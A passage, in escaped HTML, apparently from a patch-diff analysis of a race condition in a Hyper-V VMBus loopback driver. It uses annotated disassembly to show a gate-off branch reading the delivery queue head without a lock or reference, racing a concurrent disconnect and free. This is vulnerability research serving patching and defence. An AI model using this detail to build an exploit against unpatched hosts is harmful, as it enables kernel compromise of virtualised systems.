&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;access&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NewIrql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// UNCONDITIONAL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt; &amp;amp; &lt;code&gt;VmbusTlLoopbackAcceptConnection&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Same shape: the gate-off branch reads &lt;code&gt;[endpoint+0x2B8]&lt;/code&gt; (decompiled as &lt;code&gt;endpoint[0x57]&lt;/code&gt;, i.e. &lt;code&gt;endpoint + 0x57*8 = endpoint + 0x2B8&lt;/code&gt;) directly, without the spinlock or a reference; the gate-on branch calls &lt;code&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/code&gt;. In &lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt; this is &lt;code&gt;mov rbx, [r15+0x2B8]&lt;/code&gt; @ &lt;code&gt;0x1C00073DC&lt;/code&gt; (gate off) versus &lt;code&gt;call VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/code&gt; @ &lt;code&gt;0x1C00073C5&lt;/code&gt; (gate on). Patched versions always call &lt;code&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; (&lt;code&gt;sub_1C0007CF0&lt;/code&gt;, unpatched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007CF0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007CF5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007CFA:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007CFB:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007CFF:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; rbx = endpoint&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007D02:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_1274333499__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007D07:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007D09:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C0007E43&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; gate off -&amp;gt; UNSYNCHRONIZED branch&lt;/span&gt;

&lt;span class="c1"&gt;; === SYNCHRONIZED BRANCH (gate on) ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007D0F:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007D12:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; locks +0x48, refs entry&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007D17:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007D1A:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007D1D:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C0007E2A&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007D23:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; referenced under lock&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007D27:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007D2B:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007D37:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x210&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007D8B:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; atomic reference-count decrement&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007D91:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007D95:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jg&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C0007E86&lt;/span&gt;
&lt;span class="w"&gt;                                                    &lt;/span&gt;&lt;span class="c1"&gt;; ExFreePoolWithTag(rsi,&amp;#39;Vnpi&amp;#39;) when it hits 0&lt;/span&gt;

&lt;span class="c1"&gt;; === UNSYNCHRONIZED BRANCH (gate off) ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E43:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x2B8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; read head WITHOUT +0x48 spinlock, no ref&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E4A:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E4D:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C0007E8A&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E4F:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; deref racing a concurrent free&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E53:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E57:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E63:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x210&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E6A:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E6F:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E72:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E74:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;VmbusTlTransitionDisconnectState&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E79:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;bl&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E7C:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E7E:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E81:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;VmbusTlFinishDisconnectStateTransition&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E86:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007E88:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1C0007EB0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The gate-off branch reads &lt;code&gt;[rbx+0x2B8]&lt;/code&gt; at &lt;code&gt;0x1C0007E43&lt;/code&gt; and dereferences &lt;code&gt;[rdi+0x68]&lt;/code&gt; at &lt;code&gt;0x1C0007E4F&lt;/code&gt; with the endpoint spinlock never taken and no reference held. A concurrent &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; clearing &lt;code&gt;[endpoint+0x2B8]&lt;/code&gt; and freeing the entry in that window produces the race.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/code&gt; (&lt;code&gt;sub_1C0007ECC&lt;/code&gt;, unpatched — the synchronized helper)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007ECC:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007EDB:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; endpoint spinlock&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007EDF:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007EE2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007EE5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; lock BEFORE reading head&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007EF1:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x2B8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; read head UNDER lock&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This helper is what the gate-on branch calls and what the patch calls unconditionally. It acquires &lt;code&gt;[endpoint+0x48]&lt;/code&gt; before reading &lt;code&gt;[endpoint+0x2B8]&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (&lt;code&gt;sub_1C00079D0&lt;/code&gt;, unpatched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00079EE:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00079FE:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ExAcquireFastMutexUnsafe&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; endpoint+0x10&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A0A:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_1274333499__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; check #1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A0F:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A11:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C0007A26&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; skip acquire if gate off&lt;/span&gt;
